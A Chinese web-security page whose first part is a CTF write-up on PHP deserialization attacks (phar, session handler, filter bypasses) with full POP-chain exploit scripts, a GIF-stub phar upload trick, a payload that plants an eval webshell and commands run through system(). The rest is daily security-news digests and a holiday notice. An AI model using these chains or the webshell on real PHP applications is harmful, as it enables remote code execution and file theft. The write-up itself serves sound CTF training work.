php://filter/read=convert.base64-encode/resource=phar://phar.phar
可以用于文件上传,有文件上传头限制,还可以这样,例如GIF
$phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif
[SWPUCTF 2021 新生赛]babyunser phar反序列化
查看class.php获取源码
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="<?php @eval($_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
<br>
<textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?>
构造链子
先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key),
__get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性
访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content,
aa::destruct()->zz::toString()->zz::write->xx->ff::__get()
看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问
如下代码进行测试
<?php
class test
{
private $a;
public $b;
public function __construct($a,$b)
{
$this->a="aaa";
$this->b="bbb";
}
public function __get($name)
{
// TODO: Implement __get() method.
$this->a="__get";
$this->b="111";
}
public function __destruct()
{
echo $this->a;
echo $this->b;
}
}
$a =new test("s","s");
//echo $a->a;
$b=serialize($a);
unserialize($b);
注释掉echo 输出是aaabbbaaabbb
去掉注释输出是get111get111
如此那么构造POP链子
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content=new xx();//这里New xx
}
}
class zz{
public $filename;
public $content;
}
class xx
{
public $name;
public $arg;
}
$a=new aa();
$c=new ff();
$a->name=new zz();
$c->func="system";
$a->name->filename=$c;
$phar = new Phar("flag.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//$o = new Test();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
上传之后使用phar协议读取
file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag
session反序列化
session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。
而session是以文件方式存储的
直接找一道题做做
题目来自ctfshowWEB263
打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch
dirsearch -u "http://invalid.uri -e*
存在源码泄露,访问http://www.zip,下载下来源码,关键代码
index.php源码
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
check.php源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:59:10
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
inc.php中有一个这个
ini_set('session.serialize_handler', 'php');
而session存储格式(序列化)其中有这两种
ini_set('session.serialize_handler', 'php');
ini_set('session.serialize_handler', ' php_serialize ');
测试一下看这两个什么区别
<?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;
在tmp下找到这个文件打开看
是
user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}}
两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容
inc.php中关键代码
class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆
可以利用这个函数写一句话木马
而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了
<?php
class User
{
public $username;
public $password;
function __construct($username, $password)
{
$this->username = $username;
$this->password = $password;
}
}
$a=new User('1.php','<?php eval($_POST["1"]);?>');
echo base64_encode("|".serialize($a));
访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit')
第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit')
,因为有base64_decode,所以这里我们还有base64_encode一下
抓包改limit值
然后发包,接着访问check.php 实现反序列化shell的写入
然后变更请求方法,注意直接右键选择变更POST请求
tricks总结
16进制绕过字符过滤
//O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制
php类名对大小写不敏感
ctfshowWEB266
<?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->pas
很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常,
这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写
直接这样
$cs = file_get_contents('php://input');采用php伪协议传参
直接提交POST数据就行
<?php
class cTfshow
{
}
$a=new cTfshow();
echo (serialize($a));
+号绕过
ctfshowWEB258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
可见增加了过滤,过滤例如如下o:123:、c:456:
s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()
正常反序列化肯定会有o和c这种
如果O:后面不跟数字的话就可以把这个绕过去了
这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
这里把O:后面加上一个加号
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
public $code="phpinfo();";
public function getInfo(){
eval($this->code);
}
}
$a=new ctfShowUser();
//echo urlencode(serialize($a));
$a=serialize($a);
$a=preg_replace('/[oc]+:/i','O:+',$a);
echo urlencode($a);
利用&使两值恒等
题目ctfshow web265
<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
$ctfshow->login()这个成立才给flag
$ctfshow->token=md5(mt_rand());但是这个是随机的
这个题考察php按地址传参
<?php
$a='11';
$b=&$a;
$b=1;
echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化
//1
所以我们可以直接这样
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a=new ctfshowAdmin();
echo ( urlencode(serialize($a)));
php7.1+反序列化对类属性不敏感
题目来自[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看着很多,其实没什么东西,
关键要利用到这里
大致看了write函数或者read函数,都可以尝试利用得到flag
但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数
__destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法
接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被
is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性
因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
POC如下
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content="111";
pr
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>
payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
网络安全日报 2023年01月28日
1、黑客在Earth Bogle攻击活动中分发NjRAT恶意软件
https://www.hackread.com/njrat-earth-bogle-campaign/ 研究人员发现了一个名为Earth Bogle的当前活跃的活动,攻击者正在其中分发NjRAT(又名 Bladabindi)。他们的目标是中东和北非的受害者。攻击者通过以地缘政治为主题的诈骗来引诱用户传播臭名昭著的NjRAT恶意软件。根据研究人员的说法,攻击者使用files.fm和failiem.lv等公共云存储服务来托管通过受感染的Web服务器分发的恶意软件,该活动自2022年年中以来一直活跃。
2、非法的Solaris暗网市场遭竞争对手Kraken入侵
https://www.bleepingcomputer.com/news/security/illegal-solaris-darknet-market-hijacked-by-competitor-kraken/ Solaris是一个专注于毒品和非法物品的大型暗网市场,已被名为“Kraken”的较小竞争对手接管,后者声称已于2022年1月13日入侵了它。Solaris的Tor网站目前重定向到Kraken,区块链监控专家报告说,在2022年1月13日之后,与该网站相关的加密货币地址没有任何变化。Solaris市场在几个月前出现,继Hydra被占领后,试图占领当时动荡的市场的一部分,该市场迅
3、研究人员披露了可导致WAGO产品中敏感数据泄露的漏洞
https://portswigger.net/daily-swig/wago-fixes-config-export-flaw-threatening-data-leak-from-industrial-devices 安全研究人员披露了一个漏洞,该漏洞可能导致WAGO产品中的敏感数据暴露和凭证盗窃。WAGO总部位于德国,在全球设有办事处,产品包括PLC控制器、触摸面板、传感器和工业开关。近日,ONEKEY的研究人员发布了一份安全咨询报告,探讨了影响一系列WAGO解决方案的两个漏洞。其中一个漏洞被追踪为CVE-2022-3738,在 WAGO Web管理界面文件download.php中被
4、百胜餐饮集团遭勒索软件攻击迫使英国300家门店关闭
https://www.bleepingcomputer.com/news/security/ransomware-gang-steals-data-from-kfc-taco-bell-and-pizza-hut-brand-owner/ 百胜餐饮集团是肯德基、必胜客、塔可钟和哈比特汉堡快餐连锁店的快餐品牌运营商,已成为勒索软件攻击的目标,迫使英国300家门店关闭。该公司在一份新闻声明中解释道:“在检测到事件后,该公司立即启动了响应协议,包括部署遏制措施,例如使某些系统离线和实施增强的监控技术。”该公司还发起了一项调查,聘请了行业领先的网络安全和取证专家提供服务,并通知了联邦执法部门。 英
5、Netcomm路由器被发现存在多个严重的漏洞
https://securityaffairs.com/140967/iot/netcomm-tp-link-routers-critical-flaws.html Netcomm路由器中被发现了几个严重漏洞,这些漏洞是基于堆栈的缓冲区溢出和身份验证绕过,分别被跟踪为CVE-2022-4873和CVE-2022-4874。这两个漏洞都影响到运行R6B035之前软件版本的Netcomm路由器型号NF20MESH、NF20和NL1902。通报指出,一旦攻击者获得了对受影响设备的未授权访问权限,他就可以使用这些入口点访问网络上的其他系统,或者破坏从内部网络传输的数据的可用性、完整性或机密性。
6、思科修复了Unified CM中的SQL注入漏洞
https://securityaffairs.com/141039/security/cisco-unified-communications-manager-cve-2023-20010.html 思科在Unified Communications Manager (Unified CM) 和Unified Communications Manager Session Management Edition(Unified CM SME)中修复了一个高危SQL注入漏洞,跟踪为CVE-2023-20010(CVSS得分为8.1) 。漏洞CVE-2023-20010存在于Unified CM和
7、研究显示近期超过三分之一的ICS漏洞仍没有可用补丁
https://www.infosecurity-magazine.com/news/over-third-recent-ics-bugs-no/ 最新研究显示,在2022年下半年发布的工业控制系统(ICS)中,35%的CVE仍然没有可用的补丁,这让他们的供应商感到失望。SynSaber的2022年下半年ICS漏洞报告分析了2022年下半年通过网络安全和基础设施安全局(CISA) ICS咨询报告的926个CVE。它发现,ICS资产所有者不得不应对已公布的CVE的增加,而且在许多情况下,他们的系统由于缺乏供应商更新而暴露在外。SynSaber认为,延迟通常是由于原始设备制造商(OEM)供应商通
8、T-Mobile称黑客窃取了3700万客户的数据
https://www.govinfosecurity.com/t-mobile-says-hackers-stole-data-37-million-customers-a-20984 美国第三大无线运营商T-Mobile告诉联邦监管机构,它发现一个攻击者窃取了3700万客户的身份信息。T-Mobile是电信运营商Sprint和T-Mobile US在2020年合并后出现的公司,该公司在提交给美国证券交易委员会的一份文件中尽量减少了此次泄密的影响。该公司表示,此次泄露没有涉及支付卡、政府标识符或密码。该公司指出,一个应用程序编程接口暴露了包括姓名、电子邮件、电话号码和出生日期在内的数据,这
9、PayPal称黑客在撞库攻击中侵入了约3.5万个账户
https://www.infosecurity-magazine.com/news/credential-stuffing-campaign-35000/ PayPal通知数万名美国客户,他们的账号在一个多月前被成功登录。未经授权的访问发生在去年12月6日至12月8日之间,之后该公司意识到发生了什么,并消除了威胁。该公司在发给缅因州总检察长办公室的违规通知信中说:“在此期间,未经授权的第三方能够查看并可能获得某些PayPal用户的一些个人信息。”PayPal表示,泄露的个人信息可能包括客户姓名、地址、社会安全号码、个人税务识别号码和出生日期。
10、研究人员发现名为空白图像的新攻击在全球范围内蔓延
https://gbhackers.com/blank-image-attack/ 研究人员发现,一种名为“空白图像”的新攻击正在全球蔓延,黑客在HTML附件中包含空白图像。当打开附件时,用户会被自动重定向到恶意URL。这个电子邮件活动以一个据称来自DocuSign的文件开始,这似乎是非常合法的。在文件直接提供给用户后,要求用户审阅并签署文件。DocuSign的链接将用户带到DocuSign官方网站。当用户单击HTM附件时,黑客启动的一系列操作就开始了。如果受害者点击“查看已完成的文档”按钮,就会被引导到合法的DocuSign网页。但是,如果用户试图打开HTML附件,就会启动“空白图像”攻击
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月19日
1、Adobe Magento 漏洞的安全补丁被发现容易被绕过
https://www.securityweek.com/vendors-actively-bypass-security-patch-year-old-magento-vulnerability电子商务安全公司 Sansec 警告说,Adobe 于 2022 年 2 月发布的安全补丁,以解决 CVE-2022-24086,这是 Adobe Commerce 和 Magento 商店中的一个关键邮件模板漏洞。CVE-2022-24086 错误(CVSS 得分为 9.8)被描述为结帐过程中的输入验证错误。它可以被利用来实现任意代码执行,在为其提供补丁后大约一周观察到在野利用。最初的修复被发现很容
2、源代码安全审计在Git 中发现多个漏洞
https://www.securityweek.com/critical-git-vulnerabilities-discovered-source-code-security-audit源代码安全审计导致在广泛使用的分布式版本控制系统 Git 中发现了多个漏洞。由 OSTIF 赞助并由 X41 和 GitLab 进行的安全审计结果于本周公布。Git 可能成为威胁行为者的诱人目标,因为影响系统的漏洞可能被利用来破坏开发人员系统或源代码存储库。审计期间发现的安全漏洞包括两个严重、一个高、一个中和四个低严重性错误,审计员还共享了二十多份信息说明。已为严重漏洞分配了 CVE 标识符 CVE-202
3、TP-Link、NetComm 路由器中发现远程代码执行漏洞
https://www.securityweek.com/remote-code-execution-vulnerabilities-found-tp-link-netcomm-routers在TP-Link和NetComm路由器型号中发现的漏洞,可被利用来实现远程代码执行(RCE)。在 TP-Link WR710N-V1-151022 和 Archer-C5-V2-160201 SOHO(小型办公室/家庭办公室)路由器中发现了两个安全缺陷,允许攻击者执行代码、崩溃设备或猜测登录凭据。第一个漏洞为CVE-2022-4498,被描述为HTTP基本认证模式下收到的精心制作的数据包导致堆溢出。攻击者
4、GE Historian 中的漏洞被用来进行 ICS 黑客活动、破坏工业生产
https://www.securityweek.com/hackers-can-exploit-ge-historian-vulnerabilities-ics-espionage-disruptionGE 的 Proficy Historian 产品中发现的漏洞可能会被黑客用于间谍活动,并对工业环境造成破坏和破坏。美国网络安全和基础设施安全局(CISA)周二向各组织通报了这些漏洞,同时工业网络安全公司Claroty(其研究人员发现了这些漏洞)发布了相关博文,详细介绍了这些漏洞。
5、大约18000名日产北美客户受到第三方软件开发商数据泄露的影响
https://www.securityweek.com/18k-nissan-customers-affected-data-breach-third-party-software-developerNissan North America 通知大约 18,000 名客户,他们的个人信息在第三方服务提供商的数据泄露中暴露。日产在发给受影响客户的通知信中指出,此次违规发生在日产向服务提供商提供的数据无意中暴露在互联网上之后。
6、HR平台myrocket.co暴露了数十万员工和数百万求职者的个人信息
https://securityaffairs.com/140957/data-breach/myrocket-hr-platforms-data-leak.htmlmyrocket.co是为印度公司提供“端到端”招聘解决方案和人力资源服务的网站。2022 年 12 月 12 日,Cybernews 研究团队发现了一个可公开访问的数据库,其中包含属于 myrocket.co 的 260GB 敏感个人数据。据估计,此次泄密影响了近 20 万名员工和近 900 万求职者的信息。
7、Earth Bogle 运动在中东和北非部署 NjRAT 特洛伊木马
https://thehackernews.com/2023/01/earth-bogle-campaign-unleashes-njrat.html一个被称为Earth Bogle的持续活动正在利用地缘政治主题为诱饵,向中东和北非的受害者部署NjRAT远程访问木马。趋势科技在周三发表的一份报告中说:"威胁者使用公共云存储服务,如files[.]fm和failiem[.]lv来托管恶意软件,而被攻击的网络服务器则分发NjRAT”。
8、FTX 称 4.15 亿美元的加密货币遭到黑客攻击
https://www.cnbc.com/2023/01/17/ftx-says-415-million-of-crypto-was-hacked.html破产的加密货币公司FTX周二表示,价值4.15亿美元的加密货币从该交易所的账户中被黑掉,占该公司试图收回的已确认资产的相当大一部分。
9、Oracle 2023 年首次安全更新包括 327 个新补丁
https://www.securityweek.com/oracles-first-security-update-2023-includes-327-new-patches甲骨文周二宣布发布其 2023 年首个重要补丁更新,其中包括 327 个新的安全补丁。超过 70 个修复程序解决了严重的漏洞。超过200个补丁解决了无需认证即可远程利用的安全缺陷。一些已解决的漏洞影响到多个产品。
10、诺顿LifeLock表示92.5万个账户遭到了撞库攻击
https://therecord.media/norton-lifelock-says-925000-accounts-targeted-by-credential-stuffing-attacks/拥有诺顿LifeLock的母公司Gen Digital声称,在他们的安全团队发现大量的诺顿账户登录尝试后,92.5万个不活跃和活跃的账户被锁定。该事件主要围绕诺顿密码管理器用户。一位发言人说:“系统没有受到损害,它们是安全的,可运行的,不法分子利用在其他地方找到的凭据(如暗网),并发起自动攻击,以访问其他不相关的账户,我们一直在密切监控,标记可疑登录尝试的账户,并主动要求这些客户在登录时重置密码
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年01月18日
1、Azure 服务 SSRF 漏洞暴露内部端点、敏感数据
https://www.securityweek.com/azure-services-ssrf-vulnerabilities-exposed-internal-endpoints-sensitive-data云安全公司 Orca 公布了影响不同 Azure 服务的四个服务器端请求伪造 (SSRF) 漏洞的详细信息,其中包括两个无需身份验证即可利用的漏洞。Orca 解释说,SSRF 缺陷通常允许攻击者访问主机的 IMDS(云实例元数据服务),使他们能够查看主机名、MAC 地址和安全组等信息。此外,可以利用此类安全缺陷来检索令牌、远程执行代码以及移动到另一台主机。
2、攻击者可以滥用 GitHub Codespaces 进行恶意软件交付
https://www.securityweek.com/attackers-can-abuse-github-codespaces-malware-delivery据趋势科技报道,旨在帮助代码开发和协作的GitHub Codespaces功能可能被利用于恶意软件的传播。GitHub Codespaces是一个免费的基于云的集成开发环境,允许开发人员通过运行在虚拟机中的基于容器的环境在浏览器中创建、编辑和运行代码。GitHub Codespaces提供的功能之一允许开发人员共享来自VM的转发端口,无论是私有的还是公开的,以实现实时协作的目的。私有端口只能通过其URL访问,而拥有URL的任何人都
3、针对海事软件供应商 DNV 的勒索软件攻击影响1,000 多艘船舶
大约 1,000 艘船只受到针对主要海事软件供应商之一 DNV的勒索软件攻击的影响。勒索软件攻击发生在 1 月 7 日晚上,为了应对这一事件,该公司关闭了连接到该公司运营的 ShipManager 系统的 IT 服务器。DNV 报告称,没有迹象表明其任何其他软件或数据受到安全事件的影响。
4、Zoho ManageEngine敦促用户在漏洞PoC发布前打补丁
Zoho ManageEngine中未授权远程代码执行漏洞CVE-2022-47966的PoC利用代码即将发布,它会影响多个在 ManageEngine 设置中启用了 SAML SSO 的 Zoho 产品。该问题还会影响过去启用该功能的产品。问题的根本原因是ManageEngine产品使用了过时的第三方依赖Apache Santuario。Horizon3 Attack Team 的研究人员上周宣布开发了一个 PoC 漏洞利用代码,他们计划很快发布该漏洞的技术细节。
5、Rhadamanthys Stealer 通过垃圾邮件和谷歌广告传播
https://cyware.com/news/rhadamanthys-stealer-spreads-via-spam-emails-and-google-ads-badb99e9网络犯罪分子越来越多地使用网络钓鱼网站和垃圾邮件来欺骗用户下载窃取程序和 RAT。最近,新的 Rhadamanthys Stealer 通过谷歌广告将受害者引诱到模仿流行软件的网络钓鱼站点。安全公司Cyble已经在 MaaS 模型下主动观察到这种新的威胁。Rhadamanthys 通过 Google Ads 传播,将目标用户重定向到模仿 AnyDesk、Zoom、Bluestacks 和 Notepad++ 等知
6、恶意“Lolip0p”PyPi 软件包安装信息窃取恶意软件
https://www.bleepingcomputer.com/news/security/malicious-lolip0p-pypi-packages-install-info-stealing-malware威胁行为者已将三个恶意包上传到 PyPI(Python 包索引)存储库,这些包携带代码以在开发人员的系统上放置信息窃取恶意软件。Fortinet发现的恶意包均由同一作者在 2023 年 1 月 7 日至 12 日期间上传,名为“Lolip0p”。它们的名称是“colorslib”、“httpslib”和“libhttps”。这三个都已被报告并从 PyPI 中删除。PyPI 是使用最
7、研究人员发现T95 Android电视盒预装了复杂的恶意软件
https://securityaffairs.com/140866/security/t95-android-tv-box-malware.html安全研究员Daniel Milisic发现他在亚马逊上购买的T95 Android电视盒预装了复杂的预装恶意软件。这款安卓电视盒在亚马逊和全球速卖通上有售,价格低至40美元。这款设备配备了Android 10(可以运行Play商店)和Allwinner H616处理器。Milisic在固件中发现了预先安装了的恶意软件。Milisic购买了T95 Android电视盒来运行Pi-hole,这是一个Linux网络级广告和互联网跟踪拦截应用程序。在运行
8、Raccoon和Vidar信息窃取恶意软件通过假冒的破解软件网站传播
https://thehackernews.com/2023/01/raccoon-and-vidar-stealers-spreading.html自2020年初以来,一个由250多个域名组成的“大型且有弹性的基础设施”被用于分发Raccoon和Vidar等信息窃取恶意软件。网络安全公司SEKOIA在本月早些时候发表的一份分析报告中说,这个感染链使用了大约100个被破解的假软件目录网站,这些网站在下载GitHub等文件共享平台上托管的有效载荷之前,会重定向到几个链接。这家法国网络安全公司评估称,这些域名是由一个运行流量导向系统(TDS)的攻击者操作的,该系统允许其他网络犯罪分子租用服务来分发
9、Vice Society勒索软件团伙泄露了杜伊斯堡-埃森大学的数据
https://www.bleepingcomputer.com/news/security/vice-society-ransomware-leaks-university-of-duisburg-essen-s-data/Vice Society勒索软件团伙声称对2022年11月杜伊斯堡-埃森大学(UDE)遭受的网络攻击负责,该攻击迫使该大学重建其IT基础设施,这一过程仍在进行中。攻击者还泄露了他们声称在网络入侵期间从该大学窃取的文件,暴露了有关该大学运营、学生和人员的潜在敏感细节。UDE已经证实,他们知道攻击者公布了被盗数据,并表示他们不会支付赎金。
10、数以百计的 SugarCRM 服务器被感染恶意程序
https://www.anquanke.com/post/id/285513过去两周,黑客利用 SugarCRM 系统的一个高危漏洞传播恶意程序控制服务器。漏洞是在 2022 年 12 月爆出的,当时没有补丁属于 0day,公开漏洞的人还发布了漏洞利用代码,称它是一个身份验证绕过加远程代码执行漏洞,这意味着攻击者不需要身份凭证就可以在存在漏洞的服务器上远程运行恶意代码。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技2023年春节放假通知
尊敬的客户伙伴:
2023年新春佳节来临,蚁景科技将于2023年1月21日至1月27日放假,共计7天,1月28日复工;春节假期期间蚁景网安实验室将正常运营,若您遇到紧急事项,可联系4006-123-731进行反馈。
感谢客户伙伴一直以来对我们的支持与厚爱, 新的一年,我们将全力以赴,继续为客户伙伴提供更优质的服务!祝愿大家新年快乐、兔年大吉、万事如意!
网络安全日报 2023年01月17日
1、InHand 工业路由器漏洞使内部 OT 网络遭受攻击
https://www.securityweek.com/inhand-industrial-router-vulnerabilities-expose-internal-ot-networks-attacks影响 InHand Networks 制造的工业路由器的一系列漏洞可能允许黑客绕过安全系统并从互联网访问内部运营技术 (OT) 网络。美国网络安全和基础设施安全局 (CISA) 上周发布了一份公告,向各组织通报工业网络安全公司 Otorio 的一名研究人员在 InHand 的 InRouter302 和 InRouter615 蜂窝路由器中发现的五个漏洞。供应商已发布应修补这些漏洞的固件
2、"破解五角大楼 3.0" 漏洞赏金计划以专注于设施控制系统
https://www.securityweek.com/hack-pentagon-30-bug-bounty-program-focus-facility-control-systems美国国防部 (DoD) 正准备启动其“入侵五角大楼”漏洞赏金计划的第三期,该计划将重点关注设施相关控制系统 (FRCS) 网络。"入侵五角大楼"于 2016 年在 HackerOne 上推出,当时国防部邀请道德黑客在五角大楼的公共网页中发现并报告安全缺陷。2018 年,美国国防部宣布在 Bugcrowd 上运行为期一年的连续黑客五角大楼计划,目标是硬件和物理系统以及其他高价值资产中的漏洞。
3、CircleCI 被员工电脑上遭恶意软件入侵导致公司数据泄露
https://www.securityweek.com/circleci-hacked-malware-employee-laptop软件开发服务公司 CircleCI 透露,最近披露的一起数据泄露事件是由于在工程师的笔记本电脑上部署了信息窃取恶意软件造成的。2023 年 1 月 4 日,CircleCI 获悉,12 月 16 日部署在工程师笔记本电脑上的恶意软件被用来窃取支持 2FA 的 SSO 会话,从而使攻击者能够访问公司的内部系统。
4、 Avast 发布了 BianLian 勒索软件系列的免费解密器
